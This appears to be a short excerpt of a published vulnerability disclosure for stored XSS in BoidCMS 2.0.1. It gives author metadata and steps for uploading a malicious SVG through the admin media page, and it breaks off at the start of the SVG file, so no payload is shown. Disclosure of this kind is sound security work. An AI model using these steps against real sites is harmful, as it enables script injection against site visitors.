Read Time:23 Second
Posted by Andrey Stoykov on Mar 02
# Exploit Title: Multiple XSS Issues in boidcmsv2.0.1
# Date: 3/2024
# Exploit Author: Andrey Stoykov
# Version: 2.0.1
# Tested on: Ubuntu 22.04
# Blog: http://msecureltd.blogspot.com
XSS via SVG File Upload
Steps to Reproduce:
1. Login with admin user
2. Visit “Media” page
3. Upload xss.svg
4. Click “View” and XSS payload will execute
// xss.svg contents
<?xml version=”1.0″ standalone=”no”?>…